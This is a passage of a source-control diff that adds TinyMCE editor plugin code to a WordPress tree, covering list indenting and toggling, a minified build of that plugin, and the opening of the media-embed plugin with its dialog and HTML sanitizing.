+				sibling.appendChild(newList);
+				newList.appendChild(li);
+				mergeLists(li.lastChild, newList);
+				return true;
+			}
+
+			return false;
+		}
+
+		function indentSelection() {
+			var listElements = getSelectedListItems();
+
+			if (listElements.length) {
+				var bookmark = createBookmark(selection.getRng(true));
+
+				for (var i = 0; i < listElements.length; i++) {
+					if (!indent(listElements[i]) && i === 0) {
+						break;
+					}
+				}
+
+				moveToBookmark(bookmark);
+				editor.nodeChanged();
+
+				return true;
+			}
+		}
+
+		function outdentSelection() {
+			var listElements = getSelectedListItems();
+
+			if (listElements.length) {
+				var bookmark = createBookmark(selection.getRng(true));
+				var i, y, root = editor.getBody();
+
+				i = listElements.length;
+				while (i--) {
+					var node = listElements[i].parentNode;
+
+					while (node && node != root) {
+						y = listElements.length;
+						while (y--) {
+							if (listElements[y] === node) {
+								listElements.splice(i, 1);
+								break;
+							}
+						}
+
+						node = node.parentNode;
+					}
+				}
+
+				for (i = 0; i < listElements.length; i++) {
+					if (!outdent(listElements[i]) && i === 0) {
+						break;
+					}
+				}
+
+				moveToBookmark(bookmark);
+				editor.nodeChanged();
+
+				return true;
+			}
+		}
+
+		function applyList(listName) {
+			var rng = selection.getRng(true), bookmark = createBookmark(rng), listItemName = 'LI';
+
+			listName = listName.toUpperCase();
+
+			if (listName == 'DL') {
+				listItemName = 'DT';
+			}
+
+			function getSelectedTextBlocks() {
+				var textBlocks = [], root = editor.getBody();
+
+				function getEndPointNode(start) {
+					var container, offset;
+
+					container = rng[start ? 'startContainer' : 'endContainer'];
+					offset = rng[start ? 'startOffset' : 'endOffset'];
+
+					// Resolve node index
+					if (container.nodeType == 1) {
+						container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
+					}
+
+					while (container.parentNode != root) {
+						if (isTextBlock(container)) {
+							return container;
+						}
+
+						if (/^(TD|TH)$/.test(container.parentNode.nodeName)) {
+							return container;
+						}
+
+						container = container.parentNode;
+					}
+
+					return container;
+				}
+
+				var startNode = getEndPointNode(true);
+				var endNode = getEndPointNode();
+				var block, siblings = [];
+
+				for (var node = startNode; node; node = node.nextSibling) {
+					siblings.push(node);
+
+					if (node == endNode) {
+						break;
+					}
+				}
+
+				tinymce.each(siblings, function(node) {
+					if (isTextBlock(node)) {
+						textBlocks.push(node);
+						block = null;
+						return;
+					}
+
+					if (dom.isBlock(node) || node.nodeName == 'BR') {
+						if (node.nodeName == 'BR') {
+							dom.remove(node);
+						}
+
+						block = null;
+						return;
+					}
+
+					var nextSibling = node.nextSibling;
+					if (tinymce.dom.BookmarkManager.isBookmarkNode(node)) {
+						if (isTextBlock(nextSibling) || (!nextSibling && node.parentNode == root)) {
+							block = null;
+							return;
+						}
+					}
+
+					if (!block) {
+						block = dom.create('p');
+						node.parentNode.insertBefore(block, node);
+						textBlocks.push(block);
+					}
+
+					block.appendChild(node);
+				});
+
+				return textBlocks;
+			}
+
+			tinymce.each(getSelectedTextBlocks(), function(block) {
+				var listBlock, sibling;
+
+				sibling = block.previousSibling;
+				if (sibling && isListNode(sibling) && sibling.nodeName == listName) {
+					listBlock = sibling;
+					block = dom.rename(block, listItemName);
+					sibling.appendChild(block);
+				} else {
+					listBlock = dom.create(listName);
+					block.parentNode.insertBefore(listBlock, block);
+					listBlock.appendChild(block);
+					block = dom.rename(block, listItemName);
+				}
+
+				mergeWithAdjacentLists(listBlock);
+			});
+
+			moveToBookmark(bookmark);
+		}
+
+		function removeList() {
+			var bookmark = createBookmark(selection.getRng(true)), root = editor.getBody();
+
+			tinymce.each(getSelectedListItems(), function(li) {
+				var node, rootList;
+
+				if (dom.isEmpty(li)) {
+					outdent(li);
+					return;
+				}
+
+				for (node = li; node && node != root; node = node.parentNode) {
+					if (isListNode(node)) {
+						rootList = node;
+					}
+				}
+
+				splitList(rootList, li);
+			});
+
+			moveToBookmark(bookmark);
+		}
+
+		function toggleList(listName) {
+			var parentList = dom.getParent(selection.getStart(), 'OL,UL,DL');
+
+			if (parentList) {
+				if (parentList.nodeName == listName) {
+					removeList(listName);
+				} else {
+					var bookmark = createBookmark(selection.getRng(true));
+					mergeWithAdjacentLists(dom.rename(parentList, listName));
+					moveToBookmark(bookmark);
+				}
+			} else {
+				applyList(listName);
+			}
+		}
+
+		function queryListCommandState(listName) {
+			return function() {
+				var parentList = dom.getParent(editor.selection.getStart(), 'UL,OL,DL');
+
+				return parentList && parentList.nodeName == listName;
+			};
+		}
+
+		self.backspaceDelete = function(isForward) {
+			function findNextCaretContainer(rng, isForward) {
+				var node = rng.startContainer, offset = rng.startOffset;
+				var nonEmptyBlocks, walker;
+
+				if (node.nodeType == 3 && (isForward ? offset < node.data.length : offset > 0)) {
+					return node;
+				}
+
+				nonEmptyBlocks = editor.schema.getNonEmptyElements();
+				walker = new tinymce.dom.TreeWalker(rng.startContainer);
+
+				while ((node = walker[isForward ? 'next' : 'prev']())) {
+					if (node.nodeName == 'LI' && !node.hasChildNodes()) {
+						return node;
+					}
+
+					if (nonEmptyBlocks[node.nodeName]) {
+						return node;
+					}
+
+					if (node.nodeType == 3 && node.data.length > 0) {
+						return node;
+					}
+				}
+			}
+
+			function mergeLiElements(fromElm, toElm) {
+				var node, listNode, ul = fromElm.parentNode;
+
+				if (isListNode(toElm.lastChild)) {
+					listNode = toElm.lastChild;
+				}
+
+				node = toElm.lastChild;
+				if (node && node.nodeName == 'BR' && fromElm.hasChildNodes()) {
+					dom.remove(node);
+				}
+
+				if (dom.isEmpty(toElm)) {
+					dom.$(toElm).empty();
+				}
+
+				if (!dom.isEmpty(fromElm)) {
+					while ((node = fromElm.firstChild)) {
+						toElm.appendChild(node);
+					}
+				}
+
+				if (listNode) {
+					toElm.appendChild(listNode);
+				}
+
+				dom.remove(fromElm);
+
+				if (dom.isEmpty(ul)) {
+					dom.remove(ul);
+				}
+			}
+
+			if (selection.isCollapsed()) {
+				var li = dom.getParent(selection.getStart(), 'LI');
+
+				if (li) {
+					var rng = selection.getRng(true);
+					var otherLi = dom.getParent(findNextCaretContainer(rng, isForward), 'LI');
+
+					if (otherLi && otherLi != li) {
+						var bookmark = createBookmark(rng);
+
+						if (isForward) {
+							mergeLiElements(otherLi, li);
+						} else {
+							mergeLiElements(li, otherLi);
+						}
+
+						moveToBookmark(bookmark);
+
+						return true;
+					} else if (!otherLi) {
+						if (!isForward && removeList(li.parentNode.nodeName)) {
+							return true;
+						}
+					}
+				}
+			}
+		};
+
+		editor.addCommand('Indent', function() {
+			if (!indentSelection()) {
+				return true;
+			}
+		});
+
+		editor.addCommand('Outdent', function() {
+			if (!outdentSelection()) {
+				return true;
+			}
+		});
+
+		editor.addCommand('InsertUnorderedList', function() {
+			toggleList('UL');
+		});
+
+		editor.addCommand('InsertOrderedList', function() {
+			toggleList('OL');
+		});
+
+		editor.addCommand('InsertDefinitionList', function() {
+			toggleList('DL');
+		});
+
+		editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState('UL'));
+		editor.addQueryStateHandler('InsertOrderedList', queryListCommandState('OL'));
+		editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState('DL'));
+
+		editor.on('keydown', function(e) {
+			// Check for tab but not ctrl/cmd+tab since it switches browser tabs
+			if (e.keyCode != 9 || tinymce.util.VK.metaKeyPressed(e)) {
+				return;
+			}
+
+			if (editor.dom.getParent(editor.selection.getStart(), 'LI,DT,DD')) {
+				e.preventDefault();
+
+				if (e.shiftKey) {
+					outdentSelection();
+				} else {
+					indentSelection();
+				}
+			}
+		});
+	});
+
+	editor.addButton('indent', {
+		icon: 'indent',
+		title: 'Increase indent',
+		cmd: 'Indent',
+		onPostRender: function() {
+			var ctrl = this;
+
+			editor.on('nodechange', function() {
+				var blocks = editor.selection.getSelectedBlocks();
+				var disable = false;
+
+				for (var i = 0, l = blocks.length; !disable && i < l; i++) {
+					var tag = blocks[i].nodeName;
+
+					disable = (tag == 'LI' && isFirstChild(blocks[i]) || tag == 'UL' || tag == 'OL' || tag == 'DD');
+				}
+
+				ctrl.disabled(disable);
+			});
+		}
+	});
+
+	editor.on('keydown', function(e) {
+		if (e.keyCode == tinymce.util.VK.BACKSPACE) {
+			if (self.backspaceDelete()) {
+				e.preventDefault();
+			}
+		} else if (e.keyCode == tinymce.util.VK.DELETE) {
+			if (self.backspaceDelete(true)) {
+				e.preventDefault();
+			}
+		}
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/lists/plugin.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/lists/plugin.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/lists/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("lists",function(a){function b(a){return a&&/^(OL|UL|DL)$/.test(a.nodeName)}function c(a){return a.parentNode.firstChild==a}function d(a){return a.parentNode.lastChild==a}function e(b){return b&&!!a.schema.getTextBlockElements()[b.nodeName]}var f=this;a.on("init",function(){function g(a){function b(b){var d,e,f;e=a[b?"startContainer":"endContainer"],f=a[b?"startOffset":"endOffset"],1==e.nodeType&&(d=v.create("span",{"data-mce-type":"bookmark"}),e.hasChildNodes()?(f=Math.min(f,e.childNodes.length-1),b?e.insertBefore(d,e.childNodes[f]):v.insertAfter(d,e.childNodes[f])):e.appendChild(d),e=d,f=0),c[b?"startContainer":"endContainer"]=e,c[b?"startOffset":"endOffset"]=f}var c={};return b(!0),a.collapsed||b(),c}function h(a){function b(b){function c(a){for(var b=a.parentNode.firstChild,c=0;b;){if(b==a)return c;(1!=b.nodeType||"bookmark"!=b.getAttribute("data-mce-type"))&&c++,b=b.nextSibling}return-1}var d,e,f;d=f=a[b?"startContainer":"endContainer"],e=a[b?"startOffset":"endOffset"],d&&(1==d.nodeType&&(e=c(d),d=d.parentNode,v.remove(f)),a[b?"startContainer":"endContainer"]=d,a[b?"startOffset":"endOffset"]=e)}b(!0),b();var c=v.createRng();c.setStart(a.startContainer,a.startOffset),a.endContainer&&c.setEnd(a.endContainer,a.endOffset),w.setRng(c)}function i(b,c){var d,e,f,g=v.createFragment(),h=a.schema.getBlockElements();if(a.settings.forced_root_block&&(c=c||a.settings.forced_root_block),c&&(e=v.create(c),e.tagName===a.settings.forced_root_block&&v.setAttribs(e,a.settings.forced_root_block_attrs),g.appendChild(e)),b)for(;d=b.firstChild;){var i=d.nodeName;f||"SPAN"==i&&"bookmark"==d.getAttribute("data-mce-type")||(f=!0),h[i]?(g.appendChild(d),e=null):c?(e||(e=v.create(c),g.appendChild(e)),e.appendChild(d)):g.appendChild(d)}return a.settings.forced_root_block?f||tinymce.Env.ie&&!(tinymce.Env.ie>10)||e.appendChild(v.create("br",{"data-mce-bogus":"1"})):g.appendChild(v.create("br")),g}function j(){return tinymce.grep(w.getSelectedBlocks(),function(a){return/^(LI|DT|DD)$/.test(a.nodeName)})}function k(a,b,c){var d,e,f=v.select('span[data-mce-type="bookmark"]',a);c=c||i(b),d=v.createRng(),d.setStartAfter(b),d.setEndAfter(a),e=d.extractContents(),v.isEmpty(e)||v.insertAfter(e,a),v.insertAfter(c,a),v.isEmpty(b.parentNode)&&(tinymce.each(f,function(a){b.parentNode.parentNode.insertBefore(a,b.parentNode)}),v.remove(b.parentNode)),v.remove(b)}function l(a){var c,d;if(c=a.nextSibling,c&&b(c)&&c.nodeName==a.nodeName){for(;d=c.firstChild;)a.appendChild(d);v.remove(c)}if(c=a.previousSibling,c&&b(c)&&c.nodeName==a.nodeName){for(;d=c.firstChild;)a.insertBefore(d,a.firstChild);v.remove(c)}}function m(a){tinymce.each(tinymce.grep(v.select("ol,ul",a)),function(a){var c,d=a.parentNode;"LI"==d.nodeName&&d.firstChild==a&&(c=d.previousSibling,c&&"LI"==c.nodeName&&(c.appendChild(a),v.isEmpty(d)&&v.remove(d))),b(d)&&(c=d.previousSibling,c&&"LI"==c.nodeName&&c.appendChild(a))})}function n(a){function e(a){v.isEmpty(a)&&v.remove(a)}var f,g=a.parentNode,h=g.parentNode;return"DD"==a.nodeName?(v.rename(a,"DT"),!0):c(a)&&d(a)?("LI"==h.nodeName?(v.insertAfter(a,h),e(h),v.remove(g)):b(h)?v.remove(g,!0):(h.insertBefore(i(a),g),v.remove(g)),!0):c(a)?("LI"==h.nodeName?(v.insertAfter(a,h),a.appendChild(g),e(h)):b(h)?h.insertBefore(a,g):(h.insertBefore(i(a),g),v.remove(a)),!0):d(a)?("LI"==h.nodeName?v.insertAfter(a,h):b(h)?v.insertAfter(a,g):(v.insertAfter(i(a),g),v.remove(a)),!0):("LI"==h.nodeName?(g=h,f=i(a,"LI")):f=b(h)?i(a,"LI"):i(a),k(g,a,f),m(g.parentNode),!0)}function o(a){function c(c,d){var e;if(b(c)){for(;e=a.lastChild.firstChild;)d.appendChild(e);v.remove(c)}}var d,e;return"DT"==a.nodeName?(v.rename(a,"DD"),!0):(d=a.previousSibling,d&&b(d)?(d.appendChild(a),!0):d&&"LI"==d.nodeName&&b(d.lastChild)?(d.lastChild.appendChild(a),c(a.lastChild,d.lastChild),!0):(d=a.nextSibling,d&&b(d)?(d.insertBefore(a,d.firstChild),!0):d&&"LI"==d.nodeName&&b(a.lastChild)?!1:(d=a.previousSibling,d&&"LI"==d.nodeName?(e=v.create(a.parentNode.nodeName),d.appendChild(e),e.appendChild(a),c(a.lastChild,e),!0):!1)))}function p(){var b=j();if(b.length){for(var c=g(w.getRng(!0)),d=0;d<b.length&&(o(b[d])||0!==d);d++);return h(c),a.nodeChanged(),!0}}function q(){var b=j();if(b.length){var c,d,e=g(w.getRng(!0)),f=a.getBody();for(c=b.length;c--;)for(var i=b[c].parentNode;i&&i!=f;){for(d=b.length;d--;)if(b[d]===i){b.splice(c,1);break}i=i.parentNode}for(c=0;c<b.length&&(n(b[c])||0!==c);c++);return h(e),a.nodeChanged(),!0}}function r(c){function d(){function b(a){var b,c;for(b=f[a?"startContainer":"endContainer"],c=f[a?"startOffset":"endOffset"],1==b.nodeType&&(b=b.childNodes[Math.min(c,b.childNodes.length-1)]||b);b.parentNode!=g;){if(e(b))return b;if(/^(TD|TH)$/.test(b.parentNode.nodeName))return b;b=b.parentNode}return b}for(var c,d=[],g=a.getBody(),h=b(!0),i=b(),j=[],k=h;k&&(j.push(k),k!=i);k=k.nextSibling);return tinymce.each(j,function(a){if(e(a))return d.push(a),void(c=null);if(v.isBlock(a)||"BR"==a.nodeName)return"BR"==a.nodeName&&v.remove(a),void(c=null);var b=a.nextSibling;return tinymce.dom.BookmarkManager.isBookmarkNode(a)&&(e(b)||!b&&a.parentNode==g)?void(c=null):(c||(c=v.create("p"),a.parentNode.insertBefore(c,a),d.push(c)),void c.appendChild(a))}),d}var f=w.getRng(!0),i=g(f),j="LI";c=c.toUpperCase(),"DL"==c&&(j="DT"),tinymce.each(d(),function(a){var d,e;e=a.previousSibling,e&&b(e)&&e.nodeName==c?(d=e,a=v.rename(a,j),e.appendChild(a)):(d=v.create(c),a.parentNode.insertBefore(d,a),d.appendChild(a),a=v.rename(a,j)),l(d)}),h(i)}function s(){var c=g(w.getRng(!0)),d=a.getBody();tinymce.each(j(),function(a){var c,e;if(v.isEmpty(a))return void n(a);for(c=a;c&&c!=d;c=c.parentNode)b(c)&&(e=c);k(e,a)}),h(c)}function t(a){var b=v.getParent(w.getStart(),"OL,UL,DL");if(b)if(b.nodeName==a)s(a);else{var c=g(w.getRng(!0));l(v.rename(b,a)),h(c)}else r(a)}function u(b){return function(){var c=v.getParent(a.selection.getStart(),"UL,OL,DL");return c&&c.nodeName==b}}var v=a.dom,w=a.selection;f.backspaceDelete=function(c){function d(b,c){var d,e,f=b.startContainer,g=b.startOffset;if(3==f.nodeType&&(c?g<f.data.length:g>0))return f;for(d=a.schema.getNonEmptyElements(),e=new tinymce.dom.TreeWalker(b.startContainer);f=e[c?"next":"prev"]();){if("LI"==f.nodeName&&!f.hasChildNodes())return f;if(d[f.nodeName])return f;if(3==f.nodeType&&f.data.length>0)return f}}function e(a,c){var d,e,f=a.parentNode;if(b(c.lastChild)&&(e=c.lastChild),d=c.lastChild,d&&"BR"==d.nodeName&&a.hasChildNodes()&&v.remove(d),v.isEmpty(c)&&v.$(c).empty(),!v.isEmpty(a))for(;d=a.firstChild;)c.appendChild(d);e&&c.appendChild(e),v.remove(a),v.isEmpty(f)&&v.remove(f)}if(w.isCollapsed()){var f=v.getParent(w.getStart(),"LI");if(f){var i=w.getRng(!0),j=v.getParent(d(i,c),"LI");if(j&&j!=f){var k=g(i);return c?e(j,f):e(f,j),h(k),!0}if(!j&&!c&&s(f.parentNode.nodeName))return!0}}},a.addCommand("Indent",function(){return p()?void 0:!0}),a.addCommand("Outdent",function(){return q()?void 0:!0}),a.addCommand("InsertUnorderedList",function(){t("UL")}),a.addCommand("InsertOrderedList",function(){t("OL")}),a.addCommand("InsertDefinitionList",function(){t("DL")}),a.addQueryStateHandler("InsertUnorderedList",u("UL")),a.addQueryStateHandler("InsertOrderedList",u("OL")),a.addQueryStateHandler("InsertDefinitionList",u("DL")),a.on("keydown",function(b){9!=b.keyCode||tinymce.util.VK.metaKeyPressed(b)||a.dom.getParent(a.selection.getStart(),"LI,DT,DD")&&(b.preventDefault(),b.shiftKey?q():p())})}),a.addButton("indent",{icon:"indent",title:"Increase indent",cmd:"Indent",onPostRender:function(){var b=this;a.on("nodechange",function(){for(var d=a.selection.getSelectedBlocks(),e=!1,f=0,g=d.length;!e&&g>f;f++){var h=d[f].nodeName;e="LI"==h&&c(d[f])||"UL"==h||"OL"==h||"DD"==h}b.disabled(e)})}}),a.on("keydown",function(a){a.keyCode==tinymce.util.VK.BACKSPACE?f.backspaceDelete()&&a.preventDefault():a.keyCode==tinymce.util.VK.DELETE&&f.backspaceDelete(!0)&&a.preventDefault()})});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/media/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/media/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/media/plugin.js	(revision 33402)
@@ -0,0 +1,774 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*jshint maxlen:255 */
+/*eslint max-len:0 */
+/*global tinymce:true */
+
+tinymce.PluginManager.add('media', function(editor, url) {
+	var urlPatterns = [
+		{regex: /youtu\.be\/([\w\-.]+)/, type: 'iframe', w: 425, h: 350, url: '//www.youtube.com/embed/$1'},
+		{regex: /youtube\.com(.+)v=([^&]+)/, type: 'iframe', w: 425, h: 350, url: '//www.youtube.com/embed/$2'},
+		{regex: /vimeo\.com\/([0-9]+)/, type: 'iframe', w: 425, h: 350, url: '//player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc'},
+		{regex: /vimeo\.com\/(.*)\/([0-9]+)/, type: "iframe", w: 425, h: 350, url: "//player.vimeo.com/video/$2?title=0&amp;byline=0"},
+		{regex: /maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/, type: 'iframe', w: 425, h: 350, url: '//maps.google.com/maps/ms?msid=$2&output=embed"'}
+	];
+
+	var embedChange = (tinymce.Env.ie && tinymce.Env.ie <= 8) ? 'onChange' : 'onInput';
+
+	function guessMime(url) {
+		if (url.indexOf('.mp3') != -1) {
+			return 'audio/mpeg';
+		}
+
+		if (url.indexOf('.wav') != -1) {
+			return 'audio/wav';
+		}
+
+		if (url.indexOf('.mp4') != -1) {
+			return 'video/mp4';
+		}
+
+		if (url.indexOf('.webm') != -1) {
+			return 'video/webm';
+		}
+
+		if (url.indexOf('.ogg') != -1) {
+			return 'video/ogg';
+		}
+
+		if (url.indexOf('.swf') != -1) {
+			return 'application/x-shockwave-flash';
+		}
+
+		return '';
+	}
+
+	function getVideoScriptMatch(src) {
+		var prefixes = editor.settings.media_scripts;
+
+		if (prefixes) {
+			for (var i = 0; i < prefixes.length; i++) {
+				if (src.indexOf(prefixes[i].filter) !== -1) {
+					return prefixes[i];
+				}
+			}
+		}
+	}
+
+	function showDialog() {
+		var win, width, height, data;
+
+		var generalFormItems = [
+			{
+				name: 'source1',
+				type: 'filepicker',
+				filetype: 'media',
+				size: 40,
+				autofocus: true,
+				label: 'Source',
+				onchange: function(e) {
+					tinymce.each(e.meta, function(value, key) {
+						win.find('#' + key).value(value);
+					});
+				}
+			}
+		];
+
+		function recalcSize(e) {
+			var widthCtrl, heightCtrl, newWidth, newHeight;
+
+			widthCtrl = win.find('#width')[0];
+			heightCtrl = win.find('#height')[0];
+
+			newWidth = widthCtrl.value();
+			newHeight = heightCtrl.value();
+
+			if (win.find('#constrain')[0].checked() && width && height && newWidth && newHeight) {
+				if (e.control == widthCtrl) {
+					newHeight = Math.round((newWidth / width) * newHeight);
+					heightCtrl.value(newHeight);
+				} else {
+					newWidth = Math.round((newHeight / height) * newWidth);
+					widthCtrl.value(newWidth);
+				}
+			}
+
+			width = newWidth;
+			height = newHeight;
+		}
+
+		if (editor.settings.media_alt_source !== false) {
+			generalFormItems.push({name: 'source2', type: 'filepicker', filetype: 'media', size: 40, label: 'Alternative source'});
+		}
+
+		if (editor.settings.media_poster !== false) {
+			generalFormItems.push({name: 'poster', type: 'filepicker', filetype: 'image', size: 40, label: 'Poster'});
+		}
+
+		if (editor.settings.media_dimensions !== false) {
+			generalFormItems.push({
+				type: 'container',
+				label: 'Dimensions',
+				layout: 'flex',
+				align: 'center',
+				spacing: 5,
+				items: [
+					{name: 'width', type: 'textbox', maxLength: 3, size: 3, onchange: recalcSize},
+					{type: 'label', text: 'x'},
+					{name: 'height', type: 'textbox', maxLength: 3, size: 3, onchange: recalcSize},
+					{name: 'constrain', type: 'checkbox', checked: true, text: 'Constrain proportions'}
+				]
+			});
+		}
+
+		data = getData(editor.selection.getNode());
+		width = data.width;
+		height = data.height;
+
+		var embedTextBox = {
+			id: 'mcemediasource',
+			type: 'textbox',
+			flex: 1,
+			name: 'embed',
+			value: getSource(),
+			multiline: true,
+			label: 'Source'
+		};
+
+		function updateValueOnChange() {
+			data = htmlToData(this.value());
+			this.parent().parent().fromJSON(data);
+		}
+
+		embedTextBox[embedChange] = updateValueOnChange;
+
+		win = editor.windowManager.open({
+			title: 'Insert/edit video',
+			data: data,
+			bodyType: 'tabpanel',
+			body: [
+				{
+					title: 'General',
+					type: "form",
+					onShowTab: function() {
+						data = htmlToData(this.next().find('#embed').value());
+						this.fromJSON(data);
+					},
+					items: generalFormItems
+				},
+
+				{
+					title: 'Embed',
+					type: "panel",
+					layout: 'flex',
+					direction: 'column',
+					align: 'stretch',
+					padding: 10,
+					spacing: 10,
+					onShowTab: function() {
+						this.find('#embed').value(dataToHtml(this.parent().toJSON()));
+					},
+					items: [
+						{
+							type: 'label',
+							text: 'Paste your embed code below:',
+							forId: 'mcemediasource'
+						},
+						embedTextBox
+					]
+				}
+			],
+			onSubmit: function() {
+				var beforeObjects, afterObjects, i, y;
+
+				beforeObjects = editor.dom.select('img[data-mce-object]');
+				editor.insertContent(dataToHtml(this.toJSON()));
+				afterObjects = editor.dom.select('img[data-mce-object]');
+
+				// Find new image placeholder so we can select it
+				for (i = 0; i < beforeObjects.length; i++) {
+					for (y = afterObjects.length - 1; y >= 0; y--) {
+						if (beforeObjects[i] == afterObjects[y]) {
+							afterObjects.splice(y, 1);
+						}
+					}
+				}
+
+				editor.selection.select(afterObjects[0]);
+				editor.nodeChanged();
+			}
+		});
+	}
+
+	function getSource() {
+		var elm = editor.selection.getNode();
+
+		if (elm.getAttribute('data-mce-object')) {
+			return editor.selection.getContent();
+		}
+	}
+
+	function dataToHtml(data) {
+		var html = '';
+
+		if (!data.source1) {
+			tinymce.extend(data, htmlToData(data.embed));
+			if (!data.source1) {
+				return '';
+			}
+		}
+
+		if (!data.source2) {
+			data.source2 = '';
+		}
+
+		if (!data.poster) {
+			data.poster = '';
+		}
+
+		data.source1 = editor.convertURL(data.source1, "source");
+		data.source2 = editor.convertURL(data.source2, "source");
+		data.source1mime = guessMime(data.source1);
+		data.source2mime = guessMime(data.source2);
+		data.poster = editor.convertURL(data.poster, "poster");
+		data.flashPlayerUrl = editor.convertURL(url + '/moxieplayer.swf', "movie");
+
+		tinymce.each(urlPatterns, function(pattern) {
+			var match, i, url;
+
+			if ((match = pattern.regex.exec(data.source1))) {
+				url = pattern.url;
+
+				for (i = 0; match[i]; i++) {
+					/*jshint loopfunc:true*/
+					/*eslint no-loop-func:0 */
+					url = url.replace('$' + i, function() {
+						return match[i];
+					});
+				}
+
+				data.source1 = url;
+				data.type = pattern.type;
+				data.width = data.width || pattern.w;
+				data.height = data.height || pattern.h;
+			}
+		});
+
+		if (data.embed) {
+			html = updateHtml(data.embed, data, true);
+		} else {
+			var videoScript = getVideoScriptMatch(data.source1);
+			if (videoScript) {
+				data.type = 'script';
+				data.width = videoScript.width;
+				data.height = videoScript.height;
+			}
+
+			data.width = data.width || 300;
+			data.height = data.height || 150;
+
+			tinymce.each(data, function(value, key) {
+				data[key] = editor.dom.encode(value);
+			});
+
+			if (data.type == "iframe") {
+				html += '<iframe src="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '"></iframe>';
+			} else if (data.source1mime == "application/x-shockwave-flash") {
+				html += '<object data="' + data.source1 + '" width="' + data.width + '" height="' + data.height + '" type="application/x-shockwave-flash">';
+
+				if (data.poster) {
+					html += '<img src="' + data.poster + '" width="' + data.width + '" height="' + data.height + '" />';
+				}
+
+				html += '</object>';
+			} else if (data.source1mime.indexOf('audio') != -1) {
+				if (editor.settings.audio_template_callback) {
+					html = editor.settings.audio_template_callback(data);
+				} else {
+					html += (
+						'<audio controls="controls" src="' + data.source1 + '">' +
+							(data.source2 ? '\n<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') +
+						'</audio>'
+					);
+				}
+			} else if (data.type == "script") {
+				html += '<script src="' + data.source1 + '"></script>';
+			} else {
+				if (editor.settings.video_template_callback) {
+					html = editor.settings.video_template_callback(data);
+				} else {
+					html = (
+						'<video width="' + data.width + '" height="' + data.height + '"' + (data.poster ? ' poster="' + data.poster + '"' : '') + ' controls="controls">\n' +
+							'<source src="' + data.source1 + '"' + (data.source1mime ? ' type="' + data.source1mime + '"' : '') + ' />\n' +
+							(data.source2 ? '<source src="' + data.source2 + '"' + (data.source2mime ? ' type="' + data.source2mime + '"' : '') + ' />\n' : '') +
+						'</video>'
+					);
+				}
+			}
+		}
+
+		return html;
+	}
+
+	function htmlToData(html) {
+		var data = {};
+
+		new tinymce.html.SaxParser({
+			validate: false,
+			allow_conditional_comments: true,
+			special: 'script,noscript',
+			start: function(name, attrs) {
+				if (!data.source1 && name == "param") {
+					data.source1 = attrs.map.movie;
+				}
+
+				if (name == "iframe" || name == "object" || name == "embed" || name == "video" || name == "audio") {
+					if (!data.type) {
+						data.type = name;
+					}
+
+					data = tinymce.extend(attrs.map, data);
+				}
+
+				if (name == "script") {
+					var videoScript = getVideoScriptMatch(attrs.map.src);
+					if (!videoScript) {
+						return;
+					}
+
+					data = {
+						type: "script",
+						source1: attrs.map.src,
+						width: videoScript.width,
+						height: videoScript.height
+					};
+				}
+
+				if (name == "source") {
+					if (!data.source1) {
+						data.source1 = attrs.map.src;
+					} else if (!data.source2) {
+						data.source2 = attrs.map.src;
+					}
+				}
+
+				if (name == "img" && !data.poster) {
+					data.poster = attrs.map.src;
+				}
+			}
+		}).parse(html);
+
+		data.source1 = data.source1 || data.src || data.data;
+		data.source2 = data.source2 || '';
+		data.poster = data.poster || '';
+
+		return data;
+	}
+
+	function getData(element) {
+		if (element.getAttribute('data-mce-object')) {
+			return htmlToData(editor.serializer.serialize(element, {selection: true}));
+		}
+
+		return {};
+	}
+
+	function sanitize(html) {
+		if (editor.settings.media_filter_html === false) {
+			return html;
+		}
+
+		var writer = new tinymce.html.Writer();
+
+		new tinymce.html.SaxParser({
+			validate: false,
+			allow_conditional_comments: false,
+			special: 'script,noscript',
+
+			comment: function(text) {
+				writer.comment(text);
+			},
+
+			cdata: function(text) {
+				writer.cdata(text);
+			},
+
+			text: function(text, raw) {
+				writer.text(text, raw);
+			},
+
+			start: function(name, attrs, empty) {
+				if (name == 'script' || name == 'noscript') {
+					return;
+				}
+
+				for (var i = 0; i < attrs.length; i++) {
+					if (attrs[i].name.indexOf('on') === 0) {
+						return;
+					}
+				}
+
+				writer.start(name, attrs, empty);
+			},
+
+			end: function(name) {
+				if (name == 'script' || name == 'noscript') {
+					return;
+				}
+
+				writer.end(name);
+			}
+		}, new tinymce.html.Schema({})).parse(html);
+
+		return writer.getContent();
+	}
+
+	function updateHtml(html, data, updateAll) {
+		var writer = new tinymce.html.Writer();
+		var sourceCount = 0, hasImage;
+
+		function setAttributes(attrs, updatedAttrs) {
+			var name, i, value, attr;
+
+			for (name in updatedAttrs) {
+				value = "" + updatedAttrs[name];
+
+				if (attrs.map[name]) {
+					i = attrs.length;
+					while (i--) {
+						attr = attrs[i];
+
+						if (attr.name == name) {
+							if (value) {
+								attrs.map[name] = value;
+								attr.value = value;
+							} else {
+								delete attrs.map[name];
+								attrs.splice(i, 1);
+							}
+						}
+					}
+				} else if (value) {
+					attrs.push({
+						name: name,
+						value: value
+					});
+
+					attrs.map[name] = value;
+				}
+			}
+		}
+
+		new tinymce.html.SaxParser({
+			validate: false,
+			allow_conditional_comments: true,
+			special: 'script,noscript',
+
+			comment: function(text) {
+				writer.comment(text);
+			},
+
+			cdata: function(text) {
+				writer.cdata(text);
+			},
+
+			text: function(text, raw) {
+				writer.text(text, raw);
+			},
+
+			start: function(name, attrs, empty) {
+				switch (name) {
+					case "video":
+					case "object":
